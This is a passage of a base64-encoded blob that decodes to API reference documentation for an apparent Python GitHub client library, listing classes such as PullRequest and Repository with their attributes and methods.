0eXBlYDog\nc3RyaW5nCiogYHVybGA6IHN0cmluZwoKRXZlbnRzCi0tLS0tLQoqIGBnZXRf\nZXZlbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoKRm9ya2lu\nZwotLS0tLS0tCiogYGNyZWF0ZV9mb3JrKCByZXBvIClgOiBgUmVwb3NpdG9y\neWAKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKCk1lbWJlcnMKLS0tLS0t\nLQoqIGBnZXRfbWVtYmVycygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1l\nZFVzZXJgCiogYGhhc19pbl9tZW1iZXJzKCBtZW1iZXIgKWA6IGJvb2wKICAg\nICogYG1lbWJlcmA6IGBOYW1lZFVzZXJgCiogYHJlbW92ZV9mcm9tX21lbWJl\ncnMoIG1lbWJlciApYAogICAgKiBgbWVtYmVyYDogYE5hbWVkVXNlcmAKCk1v\nZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0KKiBgZWRpdCggW2JpbGxpbmdfZW1h\naWwsIGJsb2csIGNvbXBhbnksIGVtYWlsLCBsb2NhdGlvbiwgbmFtZV0gKWAK\nICAgICogYGJpbGxpbmdfZW1haWxgOiBzdHJpbmcKICAgICogYGJsb2dgOiBz\ndHJpbmcKICAgICogYGNvbXBhbnlgOiBzdHJpbmcKICAgICogYGVtYWlsYDog\nc3RyaW5nCiAgICAqIGBsb2NhdGlvbmA6IHN0cmluZwogICAgKiBgbmFtZWA6\nIHN0cmluZwoKUHVibGljX21lbWJlcnMKLS0tLS0tLS0tLS0tLS0KKiBgYWRk\nX3RvX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgCiAgICAqIGBw\ndWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgZ2V0X3B1YmxpY19tZW1i\nZXJzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNlcmAKKiBgaGFz\nX2luX3B1YmxpY19tZW1iZXJzKCBwdWJsaWNfbWVtYmVyIClgOiBib29sCiAg\nICAqIGBwdWJsaWNfbWVtYmVyYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zy\nb21fcHVibGljX21lbWJlcnMoIHB1YmxpY19tZW1iZXIgKWAKICAgICogYHB1\nYmxpY19tZW1iZXJgOiBgTmFtZWRVc2VyYAoKUmVwb3MKLS0tLS0KKiBgY3Jl\nYXRlX3JlcG8oIG5hbWUsIFtkZXNjcmlwdGlvbiwgaG9tZXBhZ2UsIHByaXZh\ndGUsIGhhc19pc3N1ZXMsIGhhc193aWtpLCBoYXNfZG93bmxvYWRzLCB0ZWFt\nX2lkLCBhdXRvX2luaXQsIGdpdGlnbm9yZV90ZW1wbGF0ZV0gKWA6IGBSZXBv\nc2l0b3J5YAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRp\nb25gOiBzdHJpbmcKICAgICogYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBw\ncml2YXRlYDogYm9vbAogICAgKiBgaGFzX2lzc3Vlc2A6IGJvb2wKICAgICog\nYGhhc193aWtpYDogYm9vbAogICAgKiBgaGFzX2Rvd25sb2Fkc2A6IGJvb2wK\nICAgICogYHRlYW1faWRgOiBgVGVhbWAKICAgICogYGF1dG9faW5pdGA6IGJv\nb2wKICAgICogYGdpdGlnbm9yZV90ZW1wbGF0ZWA6IHN0cmluZwoqIGBnZXRf\ncmVwbyggbmFtZSApYDogYFJlcG9zaXRvcnlgCiAgICAqIGBuYW1lYDogc3Ry\naW5nCiogYGdldF9yZXBvcyggW3R5cGVdIClgOiBgUGFnaW5hdGVkTGlzdGAg\nb2YgYFJlcG9zaXRvcnlgCiAgICAqIGB0eXBlYDogc3RyaW5nCgpUZWFtcwot\nLS0tLQoqIGBjcmVhdGVfdGVhbSggbmFtZSwgW3JlcG9fbmFtZXMsIHBlcm1p\nc3Npb25dIClgOiBgVGVhbWAKICAgICogYG5hbWVgOiBzdHJpbmcKICAgICog\nYHJlcG9fbmFtZXNgOiBsaXN0IG9mIGBSZXBvc2l0b3J5YAogICAgKiBgcGVy\nbWlzc2lvbmA6IHN0cmluZwoqIGBnZXRfdGVhbSggaWQgKWA6IGBUZWFtYAog\nICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF90ZWFtcygpYDogYFBhZ2luYXRl\nZExpc3RgIG9mIGBUZWFtYAoKQ2xhc3MgYFBlcm1pc3Npb25zYAo9PT09PT09\nPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYWRtaW5g\nOiBib29sCiogYHB1bGxgOiBib29sCiogYHB1c2hgOiBib29sCgpDbGFzcyBg\nUGxhbmAKPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBg\nY29sbGFib3JhdG9yc2A6IGludGVnZXIKKiBgbmFtZWA6IHN0cmluZwoqIGBw\ncml2YXRlX3JlcG9zYDogaW50ZWdlcgoqIGBzcGFjZWA6IGludGVnZXIKCkNs\nYXNzIGBQdWxsUmVxdWVzdGAKPT09PT09PT09PT09PT09PT09PQoKQXR0cmli\ndXRlcwotLS0tLS0tLS0tCiogYGFkZGl0aW9uc2A6IGludGVnZXIKKiBgYXNz\naWduZWVgOiBgTmFtZWRVc2VyYAoqIGBiYXNlYDogYFB1bGxSZXF1ZXN0UGFy\ndGAKKiBgYm9keWA6IHN0cmluZwoqIGBjaGFuZ2VkX2ZpbGVzYDogaW50ZWdl\ncgoqIGBjbG9zZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBjb21tZW50\nc2A6IGludGVnZXIKKiBgY29tbWl0c2A6IGludGVnZXIKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRlbGV0aW9uc2A6IGludGVnZXIK\nKiBgZGlmZl91cmxgOiBzdHJpbmcKKiBgaGVhZGA6IGBQdWxsUmVxdWVzdFBh\ncnRgCiogYGh0bWxfdXJsYDogc3RyaW5nCiogYGlkYDogaW50ZWdlcgoqIGBp\nc3N1ZV91cmxgOiBzdHJpbmcKKiBgbWVyZ2VhYmxlYDogYm9vbAoqIGBtZXJn\nZWRgOiBib29sCiogYG1lcmdlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiog\nYG1lcmdlZF9ieWA6IGBOYW1lZFVzZXJgCiogYG51bWJlcmA6IGludGVnZXIK\nKiBgcGF0Y2hfdXJsYDogc3RyaW5nCiogYHJldmlld19jb21tZW50c2A6IGlu\ndGVnZXIKKiBgc3RhdGVgOiBzdHJpbmcKKiBgdGl0bGVgOiBzdHJpbmcKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKClJldmlldyBjb21tZW50cwotLS0t\nLS0tLS0tLS0tLS0KKiBgY3JlYXRlX2NvbW1lbnQoIGJvZHksIGNvbW1pdF9p\nZCwgcGF0aCwgcG9zaXRpb24gKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAg\nICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBjb21taXRfaWRgOiBgQ29tbWl0\nYAogICAgKiBgcGF0aGA6IHN0cmluZwogICAgKiBgcG9zaXRpb25gOiBpbnRl\nZ2VyCiogYGNyZWF0ZV9yZXZpZXdfY29tbWVudCggYm9keSwgY29tbWl0X2lk\nLCBwYXRoLCBwb3NpdGlvbiApYDogYFB1bGxSZXF1ZXN0Q29tbWVudGAKICAg\nICogYGJvZHlgOiBzdHJpbmcKICAgICogYGNvbW1pdF9pZGA6IGBDb21taXRg\nCiAgICAqIGBwYXRoYDogc3RyaW5nCiAgICAqIGBwb3NpdGlvbmA6IGludGVn\nZXIKKiBgZ2V0X2NvbW1lbnQoIGlkIClgOiBgUHVsbFJlcXVlc3RDb21tZW50\nYAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9yZXZpZXdfY29tbWVudCgg\naWQgKWA6IGBQdWxsUmVxdWVzdENvbW1lbnRgCiAgICAqIGBpZGA6IGludGVn\nZXIKKiBgZ2V0X2NvbW1lbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFB1\nbGxSZXF1ZXN0Q29tbWVudGAKKiBgZ2V0X3Jldmlld19jb21tZW50cygpYDog\nYFBhZ2luYXRlZExpc3RgIG9mIGBQdWxsUmVxdWVzdENvbW1lbnRgCgpDb21t\naXRzCi0tLS0tLS0KKiBgZ2V0X2NvbW1pdHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgQ29tbWl0YAoKRmlsZXMKLS0tLS0KKiBgZ2V0X2ZpbGVzKClgOiBg\nUGFnaW5hdGVkTGlzdGAgb2YgYEZpbGVgCgpJc3N1ZV9jb21tZW50cwotLS0t\nLS0tLS0tLS0tLQoqIGBjcmVhdGVfaXNzdWVfY29tbWVudCggYm9keSApYDog\nYElzc3VlQ29tbWVudGAKICAgICogYGJvZHlgOiBzdHJpbmcKKiBgZ2V0X2lz\nc3VlX2NvbW1lbnQoIGlkIClgOiBgSXNzdWVDb21tZW50YAogICAgKiBgaWRg\nOiBpbnRlZ2VyCiogYGdldF9pc3N1ZV9jb21tZW50cygpYDogYFBhZ2luYXRl\nZExpc3RgIG9mIGBJc3N1ZUNvbW1lbnRgCgpNZXJnaW5nCi0tLS0tLS0KKiBg\naXNfbWVyZ2VkKClgOiBib29sCiogYG1lcmdlKCBbY29tbWl0X21lc3NhZ2Vd\nIClgOiBgUHVsbFJlcXVlc3RNZXJnZVN0YXR1c2AKICAgICogYGNvbW1pdF9t\nZXNzYWdlYDogc3RyaW5nCgpNb2RpZmljYXRpb24KLS0tLS0tLS0tLS0tCiog\nYGVkaXQoIFt0aXRsZSwgYm9keSwgc3RhdGVdIClgCiAgICAqIGB0aXRsZWA6\nIHN0cmluZwogICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBz\ndHJpbmcKCkNsYXNzIGBQdWxsUmVxdWVzdENvbW1lbnRgCj09PT09PT09PT09\nPT09PT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgYm9k\neWA6IHN0cmluZwoqIGBjb21taXRfaWRgOiBzdHJpbmcKKiBgY3JlYXRlZF9h\ndGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGlkYDogaW50ZWdlcgoqIGBvcmln\naW5hbF9jb21taXRfaWRgOiBzdHJpbmcKKiBgb3JpZ2luYWxfcG9zaXRpb25g\nOiBpbnRlZ2VyCiogYHBhdGhgOiBzdHJpbmcKKiBgcG9zaXRpb25gOiBpbnRl\nZ2VyCiogYHVwZGF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGB1cmxg\nOiBzdHJpbmcKKiBgdXNlcmA6IGBOYW1lZFVzZXJgCgpEZWxldGlvbgotLS0t\nLS0tLQoqIGBkZWxldGUoKWAKCk1vZGlmaWNhdGlvbgotLS0tLS0tLS0tLS0K\nKiBgZWRpdCggYm9keSApYAogICAgKiBgYm9keWA6IHN0cmluZwoKQ2xhc3Mg\nYFB1bGxSZXF1ZXN0TWVyZ2VTdGF0dXNgCj09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYG1lcmdlZGA6\nIGJvb2wKKiBgbWVzc2FnZWA6IHN0cmluZwoqIGBzaGFgOiBzdHJpbmcKCkNs\nYXNzIGBQdWxsUmVxdWVzdFBhcnRgCj09PT09PT09PT09PT09PT09PT09PT09\nCgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgbGFiZWxgOiBzdHJpbmcKKiBg\ncmVmYDogc3RyaW5nCiogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBgc2hhYDog\nc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoKQ2xhc3MgYFJlcG9zaXRv\ncnlgCj09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0t\nCiogYGNsb25lX3VybGA6IHN0cmluZwoqIGBjcmVhdGVkX2F0YDogZGF0ZXRp\nbWUuZGF0ZXRpbWUKKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKKiBgZm9ya2A6\nIGJvb2wKKiBgZm9ya3NgOiBpbnRlZ2VyCiogYGZ1bGxfbmFtZWA6IHN0cmlu\nZwoqIGBnaXRfdXJsYDogc3RyaW5nCiogYGhhc19kb3dubG9hZHNgOiBib29s\nCiogYGhhc19pc3N1ZXNgOiBib29sCiogYGhhc193aWtpYDogYm9vbAoqIGBo\nb21lcGFnZWA6IHN0cmluZwoqIGBodG1sX3VybGA6IHN0cmluZwoqIGBpZGA6\nIGludGVnZXIKKiBgbGFuZ3VhZ2VgOiBzdHJpbmcKKiBgbWFzdGVyX2JyYW5j\naGA6IHN0cmluZwoqIGBuYW1lYDogc3RyaW5nCiogYG9wZW5faXNzdWVzYDog\naW50ZWdlcgoqIGBvcmdhbml6YXRpb25gOiBgT3JnYW5pemF0aW9uYAoqIGBv\nd25lcmA6IGBOYW1lZFVzZXJgCiogYHBhcmVudGA6IGBSZXBvc2l0b3J5YAoq\nIGBwZXJtaXNzaW9uc2A6IGBQZXJtaXNzaW9uc2AKKiBgcHJpdmF0ZWA6IGJv\nb2wKKiBgcHVzaGVkX2F0YDogZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgc2l6ZWA6\nIGludGVnZXIKKiBgc291cmNlYDogYFJlcG9zaXRvcnlgCiogYHNzaF91cmxg\nOiBzdHJpbmcKKiBgc3ZuX3VybGA6IHN0cmluZwoqIGB1cGRhdGVkX2F0YDog\nZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHdhdGNoZXJz\nYDogaW50ZWdlcgoKQ29tcGFyaXNvbgotLS0tLS0tLS0tCiogYGNvbXBhcmUo\nIGJhc2UsIGhlYWQgKWA6IGBDb21wYXJpc29uYAogICAgKiBgYmFzZWA6IHN0\ncmluZwogICAgKiBgaGVhZGA6IHN0cmluZwoKQXNzaWduZWVzCi0tLS0tLS0t\nLQoqIGBnZXRfYXNzaWduZWVzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5h\nbWVkVXNlcmAKKiBgaGFzX2luX2Fzc2lnbmVlcyggYXNzaWduZWUgKWA6IGJv\nb2wKICAgICogYGFzc2lnbmVlYDogYE5hbWVkVXNlcmAKCkJyYW5jaGVzCi0t\nLS0tLS0tCiogYGdldF9icmFuY2goIGJyYW5jaCApYDogYEJyYW5jaGAKICAg\nICogYGJyYW5jaGA6IHN0cmluZwoqIGBnZXRfYnJhbmNoZXMoKWA6IGBQYWdp\nbmF0ZWRMaXN0YCBvZiBgQnJhbmNoYAoKQ29sbGFib3JhdG9ycwotLS0tLS0t\nLS0tLS0tCiogYGFkZF90b19jb2xsYWJvcmF0b3JzKCBjb2xsYWJvcmF0b3Ig\nKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBOYW1lZFVzZXJgCiogYGdldF9j\nb2xsYWJvcmF0b3JzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYE5hbWVkVXNl\ncmAKKiBgaGFzX2luX2NvbGxhYm9yYXRvcnMoIGNvbGxhYm9yYXRvciApYDog\nYm9vbAogICAgKiBgY29sbGFib3JhdG9yYDogYE5hbWVkVXNlcmAKKiBgcmVt\nb3ZlX2Zyb21fY29sbGFib3JhdG9ycyggY29sbGFib3JhdG9yIClgCiAgICAq\nIGBjb2xsYWJvcmF0b3JgOiBgTmFtZWRVc2VyYAoKQ29tbWVudHMKLS0tLS0t\nLS0KKiBgZ2V0X2NvbW1lbnQoIGlkIClgOiBgQ29tbWl0Q29tbWVudGAKICAg\nICogYGlkYDogaW50ZWdlcgoqIGBnZXRfY29tbWVudHMoKWA6IGBQYWdpbmF0\nZWRMaXN0YCBvZiBgQ29tbWl0Q29tbWVudGAKCkNvbW1pdHMKLS0tLS0tLQoq\nIGBnZXRfY29tbWl0KCBzaGEgKWA6IGBDb21taXRgCiAgICAqIGBzaGFgOiBz\ndHJpbmcKKiBgZ2V0X2NvbW1pdHMoIFtzaGEsIHBhdGhdIClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYENvbW1pdGAKICAgICogYHNoYWA6IHN0cmluZwogICAg\nKiBgcGF0aGA6IHN0cmluZwoKQ29udGVudHMKLS0tLS0tLS0KKiBgZ2V0X3Jl\nYWRtZSgpYDogYENvbnRlbnRGaWxlYAoqIGBnZXRfY29udGVudHMoIHBhdGgg\nKWA6IGBDb250ZW50RmlsZWAKICAgICogYHBhdGhgOiBzdHJpbmcKKiBgZ2V0\nX2FyY2hpdmVfbGluayggYXJjaGl2ZV9mb3JtYXQsIFtyZWZdIClgOiBzdHJp\nbmcKICAgICogYGFyY2hpdmVfZm9ybWF0YDogc3RyaW5nCiAgICAqIGByZWZg\nOiBzdHJpbmcKCkNvbnRyaWJ1dG9ycwotLS0tLS0tLS0tLS0KKiBgZ2V0X2Nv\nbnRyaWJ1dG9ycygpYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1lZFVzZXJg\nCgpEZWxldGlvbgotLS0tLS0tLQoqIGBkZWxldGUoKWAKCkRvd25sb2Fkcwot\nLS0tLS0tLS0KKiBgY3JlYXRlX2Rvd25sb2FkKCBuYW1lLCBzaXplLCBbZGVz\nY3JpcHRpb24sIGNvbnRlbnRfdHlwZV0gKWA6IGBEb3dubG9hZGAKICAgICog\nYG5hbWVgOiBzdHJpbmcKICAgICogYHNpemVgOiBpbnRlZ2VyCiAgICAqIGBk\nZXNjcmlwdGlvbmA6IHN0cmluZwogICAgKiBgY29udGVudF90eXBlYDogc3Ry\naW5nCiogYGdldF9kb3dubG9hZCggaWQgKWA6IGBEb3dubG9hZGAKICAgICog\nYGlkYDogaW50ZWdlcgoqIGBnZXRfZG93bmxvYWRzKClgOiBgUGFnaW5hdGVk\nTGlzdGAgb2YgYERvd25sb2FkYAoKRXZlbnRzCi0tLS0tLQoqIGBnZXRfZXZl\nbnRzKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEV2ZW50YAoqIGBnZXRfbmV0\nd29ya19ldmVudHMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgRXZlbnRgCgpG\nb3JrcwotLS0tLQoqIGBnZXRfZm9ya3MoKWA6IGBQYWdpbmF0ZWRMaXN0YCBv\nZiBgUmVwb3NpdG9yeWAKCkdpdF9ibG9icwotLS0tLS0tLS0KKiBgY3JlYXRl\nX2dpdF9ibG9iKCBjb250ZW50LCBlbmNvZGluZyApYDogYEdpdEJsb2JgCiAg\nICAqIGBjb250ZW50YDogc3RyaW5nCiAgICAqIGBlbmNvZGluZ2A6IHN0cmlu\nZwoqIGBnZXRfZ2l0X2Jsb2IoIHNoYSApYDogYEdpdEJsb2JgCiAgICAqIGBz\naGFgOiBzdHJpbmcKCkdpdF9jb21taXRzCi0tLS0tLS0tLS0tCiogYGNyZWF0\nZV9naXRfY29tbWl0KCBtZXNzYWdlLCB0cmVlLCBwYXJlbnRzLCBbYXV0aG9y\nLCBjb21taXR0ZXJdIClgOiBgR2l0Q29tbWl0YAogICAgKiBgbWVzc2FnZWA6\nIHN0cmluZwogICAgKiBgdHJlZWA6IGBHaXRUcmVlYAogICAgKiBgcGFyZW50\nc2A6IGxpc3Qgb2YgYEdpdENvbW1pdGAKICAgICogYGF1dGhvcmA6IGBJbnB1\ndEdpdEF1dGhvcmAKICAgICogYGNvbW1pdHRlcmA6IGBJbnB1dEdpdEF1dGhv\ncmAKKiBgZ2V0X2dpdF9jb21taXQoIHNoYSApYDogYEdpdENvbW1pdGAKICAg\nICogYHNoYWA6IHN0cmluZwoKR2l0X3JlZnMKLS0tLS0tLS0KKiBgY3JlYXRl\nX2dpdF9yZWYoIHJlZiwgc2hhIClgOiBgR2l0UmVmYAogICAgKiBgcmVmYDog\nc3RyaW5nCiAgICAqIGBzaGFgOiBzdHJpbmcKKiBgZ2V0X2dpdF9yZWYoIHJl\nZiApYDogYEdpdFJlZmAKICAgICogYHJlZmA6IHN0cmluZwoqIGBnZXRfZ2l0\nX3JlZnMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgR2l0UmVmYAoKR2l0X3Rh\nZ3MKLS0tLS0tLS0KKiBgY3JlYXRlX2dpdF90YWcoIHRhZywgbWVzc2FnZSwg\nb2JqZWN0LCB0eXBlLCBbdGFnZ2VyXSApYDogYEdpdFRhZ2AKICAgICogYHRh\nZ2A6IHN0cmluZwogICAgKiBgbWVzc2FnZWA6IHN0cmluZwogICAgKiBgb2Jq\nZWN0YDogc3RyaW5nCiAgICAqIGB0eXBlYDogc3RyaW5nCiAgICAqIGB0YWdn\nZXJgOiBgSW5wdXRHaXRBdXRob3JgCiogYGdldF9naXRfdGFnKCBzaGEgKWA6\nIGBHaXRUYWdgCiAgICAqIGBzaGFgOiBzdHJpbmcKCkdpdF90cmVlcwotLS0t\nLS0tLS0KKiBgY3JlYXRlX2dpdF90cmVlKCB0cmVlLCBbYmFzZV90cmVlXSAp\nYDogYEdpdFRyZWVgCiAgICAqIGB0cmVlYDogbGlzdCBvZiBgSW5wdXRHaXRU\ncmVlRWxlbWVudGAKICAgICogYGJhc2VfdHJlZWA6IGBHaXRUcmVlYAoqIGBn\nZXRfZ2l0X3RyZWUoIHNoYSwgW3JlY3Vyc2l2ZV0gKWA6IGBHaXRUcmVlYAog\nICAgKiBgc2hhYDogc3RyaW5nCiAgICAqIGByZWN1cnNpdmVgOiBib29sCgpI\nb29rcwotLS0tLQoqIGBjcmVhdGVfaG9vayggbmFtZSwgY29uZmlnLCBbZXZl\nbnRzLCBhY3RpdmVdIClgOiBgSG9va2AKICAgICogYG5hbWVgOiBzdHJpbmcK\nICAgICogYGNvbmZpZ2A6IGRpY3QKICAgICogYGV2ZW50c2A6IGxpc3Qgb2Yg\nc3RyaW5nCiAgICAqIGBhY3RpdmVgOiBib29sCiogYGdldF9ob29rKCBpZCAp\nYDogYEhvb2tgCiAgICAqIGBpZGA6IGludGVnZXIKKiBgZ2V0X2hvb2tzKClg\nOiBgUGFnaW5hdGVkTGlzdGAgb2YgYEhvb2tgCgpJc3N1ZXMKLS0tLS0tCiog\nYGNyZWF0ZV9pc3N1ZSggdGl0bGUsIFtib2R5LCBhc3NpZ25lZSwgbWlsZXN0\nb25lLCBsYWJlbHNdIClgOiBgSXNzdWVgCiAgICAqIGB0aXRsZWA6IHN0cmlu\nZwogICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgYXNzaWduZWVgOiBgTmFt\nZWRVc2VyYAogICAgKiBgbWlsZXN0b25lYDogYE1pbGVzdG9uZWAKICAgICog\nYGxhYmVsc2A6IGxpc3Qgb2YgYExhYmVsYAoqIGBnZXRfaXNzdWUoIG51bWJl\nciApYDogYElzc3VlYAogICAgKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBnZXRf\naXNzdWVzKCBbbWlsZXN0b25lLCBzdGF0ZSwgYXNzaWduZWUsIG1lbnRpb25l\nZCwgbGFiZWxzLCBzb3J0LCBkaXJlY3Rpb24sIHNpbmNlXSApYDogYFBhZ2lu\nYXRlZExpc3RgIG9mIGBJc3N1ZWAKICAgICogYG1pbGVzdG9uZWA6IGBNaWxl\nc3RvbmVgIG9yICJub25lIiBvciAiKiIKICAgICogYHN0YXRlYDogc3RyaW5n\nCiAgICAqIGBhc3NpZ25lZWA6IGBOYW1lZFVzZXJgIG9yICJub25lIiBvciAi\nKiIKICAgICogYG1lbnRpb25lZGA6IGBOYW1lZFVzZXJgCiAgICAqIGBsYWJl\nbHNgOiBsaXN0IG9mIGBMYWJlbGAKICAgICogYHNvcnRgOiBzdHJpbmcKICAg\nICogYGRpcmVjdGlvbmA6IHN0cmluZwogICAgKiBgc2luY2VgOiBkYXRldGlt\nZS5kYXRldGltZQoqIGBsZWdhY3lfc2VhcmNoX2lzc3Vlcyggc3RhdGUsIGtl\neXdvcmQgKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgSXNzdWVgCiAgICAqIGBz\ndGF0ZWA6ICJvcGVuIiBvciAiY2xvc2VkIgogICAgKiBga2V5d29yZGA6IHN0\ncmluZwoKSXNzdWVzX2V2ZW50cwotLS0tLS0tLS0tLS0tCiogYGdldF9pc3N1\nZXNfZXZlbnQoIGlkIClgOiBgSXNzdWVFdmVudGAKICAgICogYGlkYDogaW50\nZWdlcgoqIGBnZXRfaXNzdWVzX2V2ZW50cygpYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBJc3N1ZUV2ZW50YAoKS2V5cwotLS0tCiogYGNyZWF0ZV9rZXkoIHRp\ndGxlLCBrZXkgKWA6IGBSZXBvc2l0b3J5S2V5YAogICAgKiBgdGl0bGVgOiBz\ndHJpbmcKICAgICogYGtleWA6IHN0cmluZwoqIGBnZXRfa2V5KCBpZCApYDog\nYFJlcG9zaXRvcnlLZXlgCiAgICAqIGBpZGA6IGludGVnZXIKKiBgZ2V0X2tl\neXMoKWA6IGBQYWdpbmF0ZWRMaXN0YCBvZiBgUmVwb3NpdG9yeUtleWAKCkxh\nYmVscwotLS0tLS0KKiBgY3JlYXRlX2xhYmVsKCBuYW1lLCBjb2xvciApYDog\nYExhYmVsYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgY29sb3JgOiBz\ndHJpbmcKKiBgZ2V0X2xhYmVsKCBuYW1lIClgOiBgTGFiZWxgCiAgICAqIGBu\nYW1lYDogc3RyaW5nCiogYGdldF9sYWJlbHMoKWA6IGBQYWdpbmF0ZWRMaXN0\nYCBvZiBgTGFiZWxgCgpMYW5ndWFnZXMKLS0tLS0tLS0tCiogYGdldF9sYW5n\ndWFnZXMoKWA6IGRpY3Qgb2Ygc3RyaW5nIHRvIGludGVnZXIKCk1lcmdpbmcK\nLS0tLS0tLQoqIGBtZXJnZSggYmFzZSwgaGVhZCwgW2NvbW1pdF9tZXNzYWdl\nXSApYDogYENvbW1pdGAKICAgICogYGJhc2VgOiBzdHJpbmcKICAgICogYGhl\nYWRgOiBzdHJpbmcKICAgICogYGNvbW1pdF9tZXNzYWdlYDogc3RyaW5nCgpN\naWxlc3RvbmVzCi0tLS0tLS0tLS0KKiBgY3JlYXRlX21pbGVzdG9uZSggdGl0\nbGUsIFtzdGF0ZSwgZGVzY3JpcHRpb24sIGR1ZV9vbl0gKWA6IGBNaWxlc3Rv\nbmVgCiAgICAqIGB0aXRsZWA6IHN0cmluZwogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBkdWVfb25g\nOiBkYXRlCiogYGdldF9taWxlc3RvbmUoIG51bWJlciApYDogYE1pbGVzdG9u\nZWAKICAgICogYG51bWJlcmA6IGludGVnZXIKKiBgZ2V0X21pbGVzdG9uZXMo\nIFtzdGF0ZSwgc29ydCwgZGlyZWN0aW9uXSApYDogYFBhZ2luYXRlZExpc3Rg\nIG9mIGBNaWxlc3RvbmVgCiAgICAqIGBzdGF0ZWA6IHN0cmluZwogICAgKiBg\nc29ydGA6IHN0cmluZwogICAgKiBgZGlyZWN0aW9uYDogc3RyaW5nCgpNb2Rp\nZmljYXRpb24KLS0tLS0tLS0tLS0tCiogYGVkaXQoIG5hbWUsIFtkZXNjcmlw\ndGlvbiwgaG9tZXBhZ2UsIHB1YmxpYywgaGFzX2lzc3VlcywgaGFzX3dpa2ks\nIGhhc19kb3dubG9hZHMsIGRlZmF1bHRfYnJhbmNoXSApYAogICAgKiBgbmFt\nZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKICAgICog\nYGhvbWVwYWdlYDogc3RyaW5nCiAgICAqIGBwdWJsaWNgOiBib29sCiAgICAq\nIGBoYXNfaXNzdWVzYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAg\nICAqIGBoYXNfZG93bmxvYWRzYDogYm9vbAogICAgKiBgZGVmYXVsdF9icmFu\nY2hgOiBzdHJpbmcKClB1bGxzCi0tLS0tCiogYGNyZWF0ZV9wdWxsKCA8IHRp\ndGxlLCBib2R5LCBiYXNlLCBoZWFkID4gb3IgPCBpc3N1ZSwgYmFzZSwgaGVh\nZCA+IClgOiBgUHVsbFJlcXVlc3RgCiAgICAqIGB0aXRsZWA6IHN0cmluZwog\nICAgKiBgYm9keWA6IHN0cmluZwogICAgKiBgaXNzdWVgOiBgSXNzdWVgCiAg\nICAqIGBiYXNlYDogc3RyaW5nCiAgICAqIGBoZWFkYDogc3RyaW5nCiogYGdl\ndF9wdWxsKCBudW1iZXIgKWA6IGBQdWxsUmVxdWVzdGAKICAgICogYG51bWJl\ncmA6IGludGVnZXIKKiBgZ2V0X3B1bGxzKCBbc3RhdGVdIClgOiBgUGFnaW5h\ndGVkTGlzdGAgb2YgYFB1bGxSZXF1ZXN0YAogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKClN0YXJnYXplcnMKLS0tLS0tLS0tLQoqIGBnZXRfc3RhcmdhemVycygp\nYDogYFBhZ2luYXRlZExpc3RgIG9mIGBOYW1lZFVzZXJgCgpTdWJzY3JpYmVy\ncwotLS0tLS0tLS0tLQoqIGBnZXRfc3Vic2NyaWJlcnMoKWA6IGBQYWdpbmF0\nZWRMaXN0YCBvZiBgTmFtZWRVc2VyYAoKVGFncwotLS0tCiogYGdldF90YWdz\nKClgOiBgUGFnaW5hdGVkTGlzdGAgb2YgYFRhZ2AKClRlYW1zCi0tLS0tCiog